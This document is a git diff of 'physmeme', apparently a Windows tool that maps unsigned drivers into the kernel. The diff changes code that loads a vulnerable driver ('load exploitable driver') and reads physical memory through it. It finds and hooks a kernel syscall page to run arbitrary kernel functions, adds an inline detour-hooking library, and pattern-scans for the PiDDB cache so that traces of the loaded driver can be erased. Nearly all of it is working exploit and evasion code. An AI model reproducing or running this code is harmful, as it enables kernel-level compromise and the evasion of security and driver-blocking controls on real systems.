diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.cpp b/physmeme-lib/kernel_ctx/kernel_ctx.cpp index 2556d7f..bff33f3 100644 --- a/physmeme-lib/kernel_ctx/kernel_ctx.cpp +++ b/physmeme-lib/kernel_ctx/kernel_ctx.cpp @@ -19,10 +19,6 @@ namespace physmeme LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) ); - printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset); - printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer); - printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva); - std::vector search_threads; //--- for each physical memory range, make a thread to search it for (auto ranges : util::pmem_ranges) @@ -35,9 +31,6 @@ namespace physmeme for (std::thread& search_thread : search_threads) search_thread.join(); - - - printf("[+] psyscall_func: 0x%p\n", psyscall_func.load()); } void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const @@ -50,10 +43,20 @@ namespace physmeme { // scan every page of the physical memory range for (auto page = page_va; page < page_va + end; page += 0x1000) - if (!psyscall_func.load()) // keep scanning until its found + if (!is_page_found.load()) // keep scanning until its found if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) { + // + // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! + // psyscall_func.store((void*)page); + auto my_proc_base = reinterpret_cast(GetModuleHandleA(NULL)); + auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); + + if (my_proc_base != my_proc_base_from_syscall) + continue; + + is_page_found.store(true); return; } physmeme::unmap_phys(page_va, end); @@ -72,10 +75,23 @@ namespace physmeme // loop every page of 2mbs (512) for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000) { - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + if (!is_page_found.load()) { - psyscall_func.store((void*)page); - return; + if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + { + // + // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! + // + psyscall_func.store((void*)page); + auto my_proc_base = reinterpret_cast(GetModuleHandle(NULL)); + auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); + + if (my_proc_base != my_proc_base_from_syscall) + continue; + + is_page_found.store(true); + return; + } } } physmeme::unmap_phys(page_va, 0x1000 * 512); @@ -88,10 +104,23 @@ namespace physmeme { for (auto page = page_va; page < page_va + remainder; page += 0x1000) { - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + if (!is_page_found.load()) { - psyscall_func.store((void*)page); - return; + if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + { + // + // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! + // + psyscall_func.store((void*)page); + auto my_proc_base = reinterpret_cast(GetModuleHandle(NULL)); + auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); + + if (my_proc_base != my_proc_base_from_syscall) + continue; + + is_page_found.store(true); + return; + } } } physmeme::unmap_phys(page_va, remainder); @@ -107,9 +136,6 @@ namespace physmeme static const auto piddb_table = util::memory::get_piddb_table(); - std::cout << "[+] piddb_lock: " << piddb_lock << std::endl; - std::cout << "[+] piddb_table: " << piddb_table << std::endl; - if (!piddb_lock || !piddb_table) return false; @@ -275,4 +301,46 @@ namespace physmeme size ); } + + PEPROCESS kernel_ctx::get_peprocess(unsigned pid) const + { + if (!pid) + return {}; + + PEPROCESS proc; + static auto get_peprocess_from_pid = + util::get_kernel_export( + "ntoskrnl.exe", + "PsLookupProcessByProcessId" + ); + + syscall( + get_peprocess_from_pid, + (HANDLE)pid, + &proc + ); + return proc; + } + + void* kernel_ctx::get_proc_base(unsigned pid) const + { + if (!pid) + return {}; + + const auto peproc = get_peprocess(pid); + + if (!peproc) + return {}; + + static auto get_section_base = + util::get_kernel_export( + "ntoskrnl.exe", + "PsGetProcessSectionBaseAddress" + ); + + return syscall( + get_section_base, + peproc + ); + } } \ No newline at end of file diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.h b/physmeme-lib/kernel_ctx/kernel_ctx.h index f3fdc6a..344e8cc 100644 --- a/physmeme-lib/kernel_ctx/kernel_ctx.h +++ b/physmeme-lib/kernel_ctx/kernel_ctx.h @@ -28,6 +28,11 @@ namespace physmeme // inline const std::uint8_t* ntoskrnl_buffer{}; + // + // has the page been found yet? + // + inline std::atomic is_page_found = false; + // // mapping of a syscalls physical memory (for installing hooks) // @@ -95,7 +100,7 @@ namespace physmeme } template - std::invoke_result_t syscall(void* addr, Ts ... args) + std::invoke_result_t syscall(void* addr, Ts ... args) const { static const auto proc = GetProcAddress( @@ -114,5 +119,15 @@ namespace physmeme // find and map the physical page of a syscall into this process // void map_syscall(std::uintptr_t begin, std::uintptr_t end) const; + + // + // used in conjunction with get_process_base. + // + PEPROCESS get_peprocess(unsigned pid) const; + + // + // get base address of process (used to compare and ensure we find the right page). + // + void* get_proc_base(unsigned pid) const; }; } \ No newline at end of file diff --git a/physmeme-lib/map_driver.cpp b/physmeme-lib/map_driver.cpp index f941989..a14066e 100644 --- a/physmeme-lib/map_driver.cpp +++ b/physmeme-lib/map_driver.cpp @@ -10,7 +10,13 @@ namespace physmeme bool __cdecl map_driver(std::vector& raw_driver) { physmeme::drv_image image(raw_driver); - physmeme::load_drv(); + + // + // load exploitable driver + // + if (!physmeme::load_drv()) + return false; + physmeme::kernel_ctx ctx; // diff --git a/physmeme-lib/physmeme/physmeme.hpp b/physmeme-lib/physmeme/physmeme.hpp index 3feed88..e86b9b0 100644 --- a/physmeme-lib/physmeme/physmeme.hpp +++ b/physmeme-lib/physmeme/physmeme.hpp @@ -74,7 +74,6 @@ namespace physmeme DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast(&in_buffer), sizeof(in_buffer), reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); return out_buffer[0]; - } // diff --git a/physmeme-lib/util/hook.hpp b/physmeme-lib/util/hook.hpp new file mode 100644 index 0000000..1004d9f --- /dev/null +++ b/physmeme-lib/util/hook.hpp @@ -0,0 +1,190 @@ +/* + MIT License + + Copyright (c) 2020 xerox + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. +*/ + +#pragma once +#include +#include +#include +#include + +#if _M_IX86 + #define OFFSET_TO_ADDRESS 0x1 +#elif _M_X64 + #define OFFSET_TO_ADDRESS 0x2 +#endif + +namespace hook +{ + static void write_to_readonly(void* addr, void* data, int size) + { + DWORD old_flags; + VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags); + memcpy((void*)addr, data, size); + VirtualProtect((LPVOID)addr, size, old_flags, &old_flags); + } + + class detour + { + public: + detour(void* addr_to_hook, void* jmp_to, bool enable = true) + : hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false) + { + //setup hook + memcpy( + jmp_code + OFFSET_TO_ADDRESS, + &jmp_to, + sizeof(jmp_to) + ); + + //save bytes + memcpy( + org_bytes, + hook_addr, + sizeof(org_bytes) + ); + if(enable) + install(); + } + + void install() + { + if (hook_installed.load()) + return; + + // mapped page is already read/write + memcpy(hook_addr, jmp_code, sizeof(jmp_code)); + hook_installed.exchange(true); + } + void uninstall() + { + if (!hook_installed.load()) + return; + + // mapped page is already read/write + memcpy(hook_addr, org_bytes, sizeof(org_bytes)); + hook_installed.exchange(false); + } + + ~detour() { uninstall(); } + bool installed() { return hook_installed; } + void* hook_address() { return hook_addr; } + void* detour_address() { return detour_addr; } + private: + std::atomic hook_installed; + void *hook_addr, *detour_addr; + +#if _M_IX86 + /* + 0: b8 ff ff ff ff mov eax, 0xffffffff + 5: ff e0 jmp eax + */ + unsigned char jmp_code[7] = { + 0xb8, 0x0, 0x0, 0x0, 0x0, + 0xFF, 0xE0 + }; +#elif _M_X64 + /* + 0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff + 7: ff e0 jmp rax + */ + unsigned char jmp_code[12] = { + 0x48, 0xb8, + 0x0, + 0x0, + 0x0, + 0x0, + 0x0, + 0x0, + 0x0, + 0x0, + 0xff, 0xe0 + }; +#endif + std::uint8_t org_bytes[sizeof(jmp_code)]; + }; + + static std::map> hooks{}; + + /* + Author: xerox + Date: 12/19/2019 + + Create Hook without needing to deal with objects + */ + static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true) + { + if (!addr_to_hook) + return; + + hooks.insert({ + addr_to_hook, + std::make_unique( + addr_to_hook, + jmp_to_addr, + enable + )} + ); + } + + /* + Author: xerox + Date: 12/19/2019 + + Enable hook given the address to hook + */ + static void enable(void* addr) + { + if (!addr) + return; + hooks.at(addr)->install(); + } + + /* + Author: xerox + Date: 12/19/2019 + + Disable hook givent the address of the hook + */ + static void disable(void* addr) + { + if (!addr) + return; + hooks.at(addr)->uninstall(); + } + + + /* + Author: xerox + Date: 12/19/2019 + + Remove hook completely from vector + */ + static void remove(void* addr) + { + if (!addr) + return; + hooks.at(addr)->~detour(); + hooks.erase(addr); + } +} \ No newline at end of file diff --git a/physmeme-lib/util/nt.hpp b/physmeme-lib/util/nt.hpp new file mode 100644 index 0000000..eb556a4 --- /dev/null +++ b/physmeme-lib/util/nt.hpp @@ -0,0 +1,114 @@ +#pragma once +#include +#include + +#pragma comment(lib, "ntdll.lib") +constexpr auto page_size = 0x1000; + +inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24"; +inline const char piddb_lock_mask[] = "xxx????x????xxxx"; + +inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F"; +inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx"; + +constexpr auto SystemModuleInformation = 11; +constexpr auto SystemHandleInformation = 16; +constexpr auto SystemExtendedHandleInformation = 64; + +#define MM_COPY_MEMORY_PHYSICAL 0x1 +#define MM_COPY_MEMORY_VIRTUAL 0x2 + +typedef struct PiDDBCacheEntry +{ + LIST_ENTRY list; + UNICODE_STRING driver_name; + ULONG time_stamp; + NTSTATUS load_status; + char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers +}PIDCacheobj; + +typedef struct _SYSTEM_HANDLE +{ + PVOID Object; + HANDLE UniqueProcessId; + HANDLE HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE, * PSYSTEM_HANDLE; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG_PTR HandleCount; + ULONG_PTR Reserved; + SYSTEM_HANDLE Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; + +typedef enum _POOL_TYPE { + NonPagedPool, + NonPagedPoolExecute, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType, + NonPagedPoolBase, + NonPagedPoolBaseMustSucceed, + NonPagedPoolBaseCacheAligned, + NonPagedPoolBaseCacheAlignedMustS, + NonPagedPoolSession, + PagedPoolSession, + NonPagedPoolMustSucceedSession, + DontUseThisTypeSession, + NonPagedPoolCacheAlignedSession, + PagedPoolCacheAlignedSession, + NonPagedPoolCacheAlignedMustSSession, + NonPagedPoolNx, + NonPagedPoolNxCacheAligned, + NonPagedPoolSessionNx +} POOL_TYPE; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; + +typedef struct _MM_COPY_ADDRESS { + union { + PVOID VirtualAddress; + PHYSICAL_ADDRESS PhysicalAddress; + }; +} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS; + +using PEPROCESS = PVOID; +using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T); +using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG); +using MmCopyMemory = NTSTATUS (__stdcall*)(PVOID, MM_COPY_ADDRESS,SIZE_T,ULONG,PSIZE_T); +using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t); +using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*,bool); +using RtlLookupElementGenericTableAvl = PIDCacheobj* (__stdcall*) (void*, void*); +using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*,void*); +using ExReleaseResourceLite = bool(__stdcall*)(void*); +using PsLookupProcessByProcessId = NTSTATUS(__fastcall*)(HANDLE, PEPROCESS*); +using PsGetProcessSectionBaseAddress = void* (__fastcall*)(PEPROCESS); \ No newline at end of file diff --git a/physmeme-lib/util/util.hpp b/physmeme-lib/util/util.hpp new file mode 100644 index 0000000..de3dbc1 --- /dev/null +++ b/physmeme-lib/util/util.hpp @@ -0,0 +1,344 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "nt.hpp" + +namespace util +{ + //--- ranges of physical memory + static std::map pmem_ranges{}; + + //--- validates the address + static bool is_valid(std::uintptr_t addr) + { + for (auto range : pmem_ranges) + if (addr >= range.first && addr <= range.first + range.second) + return true; + return false; + } + + // Author: Remy Lebeau + // taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value + static const auto init_ranges = ([&]() -> bool + { + HKEY h_key; + DWORD type, size; + LPBYTE data; + RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); + RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size + data = new BYTE[size]; + RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); + DWORD count = *(DWORD*)(data + 16); + auto pmi = data + 24; + for (int dwIndex = 0; dwIndex < count; dwIndex++) + { + pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); + pmi += 20; + } + delete[] data; + RegCloseKey(h_key); + return true; + })(); + + inline PIMAGE_FILE_HEADER get_file_header(void* base_addr) + { + if (!base_addr || *(short*)base_addr != 0x5A4D) + return NULL; + + PIMAGE_DOS_HEADER dos_headers = + reinterpret_cast(base_addr); + + PIMAGE_NT_HEADERS nt_headers = + reinterpret_cast( + reinterpret_cast(base_addr) + dos_headers->e_lfanew); + + return &nt_headers->FileHeader; + } + + // this was taken from wlan's drvmapper: + // https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7 + static void open_binary_file(const std::string& file, std::vector& data) + { + std::ifstream fstr(file, std::ios::binary); + fstr.unsetf(std::ios::skipws); + fstr.seekg(0, std::ios::end); + + const auto file_size = fstr.tellg(); + + fstr.seekg(NULL, std::ios::beg); + data.reserve(static_cast(file_size)); + data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); + } + + // get base address of kernel module + // + // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 + static std::uintptr_t get_module_base(const char* module_name) + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); + if (!_stricmp(current_module_name.c_str(), module_name)) + { + const uint64_t result = reinterpret_cast(modules->Modules[idx].ImageBase); + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + // get base address of kernel module + // + // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 + static void* get_kernel_export(const char* module_name, const char* export_name, bool rva = false) + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + NTSTATUS status = NtQuerySystemInformation( + static_cast(SystemModuleInformation), + buffer, + buffer_size, + &buffer_size + ); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, 0, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation( + static_cast(SystemModuleInformation), + buffer, + buffer_size, + &buffer_size + ); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, 0, MEM_RELEASE); + return 0; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + // find module and then load library it + const std::string current_module_name = + std::string(reinterpret_cast( + modules->Modules[idx].FullPathName) + + modules->Modules[idx].OffsetToFileName + ); + + if (!_stricmp(current_module_name.c_str(), module_name)) + { + // had to shoot the tires off of "\\SystemRoot\\" + std::string full_path = reinterpret_cast(modules->Modules[idx].FullPathName); + full_path.replace( + full_path.find("\\SystemRoot\\"), + sizeof("\\SystemRoot\\") - 1, + std::string(getenv("SYSTEMROOT")).append("\\") + ); + + const auto module_base = + LoadLibraryEx( + full_path.c_str(), + NULL, + DONT_RESOLVE_DLL_REFERENCES + ); + + PIMAGE_DOS_HEADER p_idh; + PIMAGE_NT_HEADERS p_inh; + PIMAGE_EXPORT_DIRECTORY p_ied; + + PDWORD addr, name; + PWORD ordinal; + + p_idh = (PIMAGE_DOS_HEADER)module_base; + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) + return NULL; + + p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base + + p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions); + name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); + ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); + + // find exported function + for (auto i = 0; i < p_ied->AddressOfFunctions; i++) + if (!strcmp(export_name, (char*)module_base + name[i])) + { + if (!rva) + { + auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]); + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + else + { + auto result = (void*)addr[ordinal[i]]; + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + } + } + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + namespace memory + { + template + inline std::uintptr_t pattern_scan_kernel(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) + { + static const auto kernel_addr = + LoadLibraryEx( + "ntoskrnl.exe", + NULL, + DONT_RESOLVE_DLL_REFERENCES + ); + + static const auto p_idh = reinterpret_cast(kernel_addr); + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + static const auto p_inh = reinterpret_cast((LPBYTE)kernel_addr + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + static auto current_section = reinterpret_cast(p_inh + 1); + static const auto first_section = current_section; + static const auto num_sec = p_inh->FileHeader.NumberOfSections; + static std::atomic ran_before = false; + + // + // only run this once. + // + if(!ran_before.exchange(true)) + for (; current_section < first_section + num_sec; ++current_section) + if(!strcmp(reinterpret_cast(current_section->Name), "PAGE")) + break; + + static const auto page_section_begin = + reinterpret_cast(kernel_addr) + current_section->VirtualAddress; + + const auto pattern_view = std::string_view{ + reinterpret_cast(page_section_begin), + current_section->SizeOfRawData + }; + + std::array, pattern_length - 1> pattern{}; + + for (std::size_t index = 0; index < pattern_length - 1; index++) + pattern[index] = { signature[index], mask[index] }; + + auto resultant_address = std::search( + pattern_view.cbegin(), + pattern_view.cend(), + pattern.cbegin(), + pattern.cend(), + [](char left, std::pair right) -> bool { + return (right.second == '?' || left == right.first); + }); + + return resultant_address == pattern_view.cend() ? 0 : reinterpret_cast(resultant_address.operator->()); + } + + // + // be aware that this may not work for win8 or win7! + // + inline void* get_piddb_lock() + { + static const auto absolute_addr_instruction = + pattern_scan_kernel( + piddb_lock_sig, + piddb_lock_mask + ); + + static const auto ntoskrnl_in_my_process = + reinterpret_cast(GetModuleHandle("ntoskrnl.exe")); + + if (!absolute_addr_instruction || !ntoskrnl_in_my_process) + return {}; + + const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3); + const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process; + static const auto kernel_base = util::get_module_base("ntoskrnl.exe"); + + if (!kernel_base) + return {}; + + return reinterpret_cast(kernel_base + real_rva); + } + + // + // be aware that this may not work for win8 or win7! + // + inline void* get_piddb_table() + { + static const auto absolute_addr_instruction = + pattern_scan_kernel( + piddb_table_sig, + piddb_table_mask + ); + + static const auto ntoskrnl_in_my_process = + reinterpret_cast(GetModuleHandle("ntoskrnl.exe")); + + if (!absolute_addr_instruction || !ntoskrnl_in_my_process) + return {}; + + const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3); + const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process; + static const auto kernel_base = util::get_module_base("ntoskrnl.exe"); + + if (!kernel_base) + return {}; + + return reinterpret_cast(kernel_base + real_rva); + } + } +} \ No newline at end of file diff --git a/physmeme/kernel_ctx/kernel_ctx.cpp b/physmeme/kernel_ctx/kernel_ctx.cpp index c8a5b07..7c215ae 100644 --- a/physmeme/kernel_ctx/kernel_ctx.cpp +++ b/physmeme/kernel_ctx/kernel_ctx.cpp @@ -52,10 +52,20 @@ namespace physmeme { // scan every page of the physical memory range for (auto page = page_va; page < page_va + end; page += 0x1000) - if (!psyscall_func.load()) // keep scanning until its found + if (!is_page_found.load()) // keep scanning until its found if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) { + // + // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! + // psyscall_func.store((void*)page); + auto my_proc_base = reinterpret_cast(GetModuleHandleA(NULL)); + auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); + + if (my_proc_base != my_proc_base_from_syscall) + continue; + + is_page_found.store(true); return; } physmeme::unmap_phys(page_va, end); @@ -74,10 +84,23 @@ namespace physmeme // loop every page of 2mbs (512) for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000) { - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + if (!is_page_found.load()) { - psyscall_func.store((void*)page); - return; + if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + { + // + // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! + // + psyscall_func.store((void*)page); + auto my_proc_base = reinterpret_cast(GetModuleHandle(NULL)); + auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); + + if (my_proc_base != my_proc_base_from_syscall) + continue; + + is_page_found.store(true); + return; + } } } physmeme::unmap_phys(page_va, 0x1000 * 512); @@ -90,10 +113,23 @@ namespace physmeme { for (auto page = page_va; page < page_va + remainder; page += 0x1000) { - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + if (!is_page_found.load()) { - psyscall_func.store((void*)page); - return; + if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) + { + // + // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! + // + psyscall_func.store((void*)page); + auto my_proc_base = reinterpret_cast(GetModuleHandle(NULL)); + auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); + + if (my_proc_base != my_proc_base_from_syscall) + continue; + + is_page_found.store(true); + return; + } } } physmeme::unmap_phys(page_va, remainder); @@ -274,4 +310,46 @@ namespace physmeme size ); } + + PEPROCESS kernel_ctx::get_peprocess(unsigned pid) const + { + if (!pid) + return {}; + + PEPROCESS proc; + static auto get_peprocess_from_pid = + util::get_kernel_export( + "ntoskrnl.exe", + "PsLookupProcessByProcessId" + ); + + syscall( + get_peprocess_from_pid, + (HANDLE)pid, + &proc + ); + return proc; + } + + void* kernel_ctx::get_proc_base(unsigned pid) const + { + if (!pid) + return {}; + + const auto peproc = get_peprocess(pid); + + if (!peproc) + return {}; + + static auto get_section_base = + util::get_kernel_export( + "ntoskrnl.exe", + "PsGetProcessSectionBaseAddress" + ); + + return syscall( + get_section_base, + peproc + ); + } } \ No newline at end of file diff --git a/physmeme/kernel_ctx/kernel_ctx.h b/physmeme/kernel_ctx/kernel_ctx.h index 19647e8..8e231eb 100644 --- a/physmeme/kernel_ctx/kernel_ctx.h +++ b/physmeme/kernel_ctx/kernel_ctx.h @@ -28,6 +28,11 @@ namespace physmeme // inline const std::uint8_t* ntoskrnl_buffer{}; + // + // has the page been found yet? + // + inline std::atomic is_page_found = false; + // // mapping of a syscalls physical memory (for installing hooks) // @@ -36,7 +41,7 @@ namespace physmeme // // you can edit this how you choose, im hooking NtShutdownSystem. // - inline const std::pair syscall_hook = { "NtAddAtom", "ntdll.dll" }; + inline const std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; class kernel_ctx { @@ -95,7 +100,7 @@ namespace physmeme } template - std::invoke_result_t syscall(void* addr, Ts ... args) + std::invoke_result_t syscall(void* addr, Ts ... args) const { static const auto proc = GetProcAddress( @@ -109,10 +114,19 @@ namespace physmeme return result; } private: - // // find and map the physical page of a syscall into this process // void map_syscall(std::uintptr_t begin, std::uintptr_t end) const; + + // + // used in conjunction with get_process_base. + // + PEPROCESS get_peprocess(unsigned pid) const; + + // + // get base address of process (used to compare and ensure we find the right page). + // + void* get_proc_base(unsigned pid) const; }; } \ No newline at end of file diff --git a/physmeme/util/nt.hpp b/physmeme/util/nt.hpp index 26fd9d1..eb556a4 100644 --- a/physmeme/util/nt.hpp +++ b/physmeme/util/nt.hpp @@ -101,6 +101,7 @@ typedef struct _MM_COPY_ADDRESS { }; } MM_COPY_ADDRESS, * PMMCOPY_ADDRESS; +using PEPROCESS = PVOID; using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T); using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG); using MmCopyMemory = NTSTATUS (__stdcall*)(PVOID, MM_COPY_ADDRESS,SIZE_T,ULONG,PSIZE_T); @@ -108,4 +109,6 @@ using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t); using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*,bool); using RtlLookupElementGenericTableAvl = PIDCacheobj* (__stdcall*) (void*, void*); using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*,void*); -using ExReleaseResourceLite = bool(__stdcall*)(void*); \ No newline at end of file +using ExReleaseResourceLite = bool(__stdcall*)(void*); +using PsLookupProcessByProcessId = NTSTATUS(__fastcall*)(HANDLE, PEPROCESS*); +using PsGetProcessSectionBaseAddress = void* (__fastcall*)(PEPROCESS); \ No newline at end of file